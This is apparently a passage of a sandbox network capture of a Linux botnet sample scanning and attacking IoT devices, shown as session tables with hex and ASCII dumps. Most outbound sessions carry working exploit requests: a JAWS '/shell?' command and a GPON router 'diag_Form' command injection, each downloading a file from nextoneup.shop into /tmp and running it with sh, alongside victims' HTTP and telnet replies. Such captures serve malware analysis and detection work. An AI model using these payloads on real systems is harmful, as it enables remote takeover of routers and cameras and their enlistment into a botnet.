<!DOCTYPE html><html lang="en-us" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema#"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <style type="text/css"> @charset "UTF-8"; [ng\:cloak], [ng-cloak], [data-ng-cloak], [x-ng-cloak], .ng-cloak, .x-ng-cloak, .ng-hide:not(.ng-hide-animate) { display: none !important; } ng\:form { display: block; } .ng-animate-shim { visibility: hidden; } .ng-anchor { position: absolute; } </style> <meta http-equiv="X-UA-Compat
Apr 14, 2024 04:01:32.948024988 CEST	1289	IN	Data Raw: 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e Data Ascii: ible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Oops, something lost</title> <meta name="description" content="Oops, looks like the page is lost. Start your website on the cheap.
Apr 14, 2024 04:01:32.948100090 CEST	231	IN	Data Raw: 20 6c 6f 73 74 2e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 22 20 63 6c 61 73 73 3d 22 73 75 62 2d 68 65 61 64 65 72 20 74 65 78 74 2d Data Ascii: lost.</h1> <p style="font-size:22px;" class="sub-header text-block-narrow">This is not a fault, just an accident that was not intentional.</p> </div> </div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1978	192.168.2.13	38940	18.192.226.4	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.633888006 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1979	192.168.2.13	39008	156.205.0.24	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.790153027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.149281025 CEST	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Apr 14, 2024 04:01:33.149473906 CEST	1289	IN	Data Raw: 63 62 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: cb7<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:01:33.149492979 CEST	1289	IN	Data Raw: 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6Addr
Apr 14, 2024 04:01:33.149872065 CEST	725	IN	Data Raw: 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 5b 22 20 Data Ascii: id(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan == 0)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1980	192.168.2.13	60024	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:32.987040043 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:35Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1981	192.168.2.13	60028	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.016300917 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:35Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1982	192.168.2.13	53938	42.79.82.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.269985914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1983	192.168.2.13	57730	123.22.125.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.270016909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1984	192.168.2.13	36130	212.218.50.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.270046949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1985	192.168.2.13	42776	178.46.211.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.270051003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1986	192.168.2.13	41358	123.235.168.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.270102978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1987	192.168.2.13	42496	79.210.159.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.270123005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1988	192.168.2.13	50252	5.124.232.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.270138025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1989	192.168.2.13	35138	210.51.210.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.270168066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1990	192.168.2.13	60052	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:33.656860113 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:36Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1991	192.168.2.13	60086	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:34.330662966 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:37Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1992	192.168.2.13	60054	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:34.688591003 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:37Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1993	192.168.2.13	60104	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.001300097 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:37Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1994	192.168.2.13	60114	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.344022989 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:38Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1995	192.168.2.13	40972	38.6.214.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.490360975 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:35.816169024 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:35 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1996	192.168.2.13	53810	38.165.110.125	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.657502890 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1997	192.168.2.13	60120	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.658252954 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:38Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1998	192.168.2.13	60004	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.704245090 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:38Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1999	192.168.2.13	48048	23.58.229.127	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.714018106 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:35.941725016 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:35 GMT Date: Sun, 14 Apr 2024 02:01:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 66 66 63 33 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 35 26 23 34 36 3b 32 32 35 36 34 34 63 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 66 66 63 33 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 39 35 26 23 34 36 3b 32 32 35 36 34 34 63 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ffc3117.1713060095.225644ce<P>https://errors.edgesuite.net/9.ffc3117.1713060095.225644ce</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2000	192.168.2.13	40236	20.7.224.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.723501921 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2001	192.168.2.13	51732	66.102.1.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.799638033 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
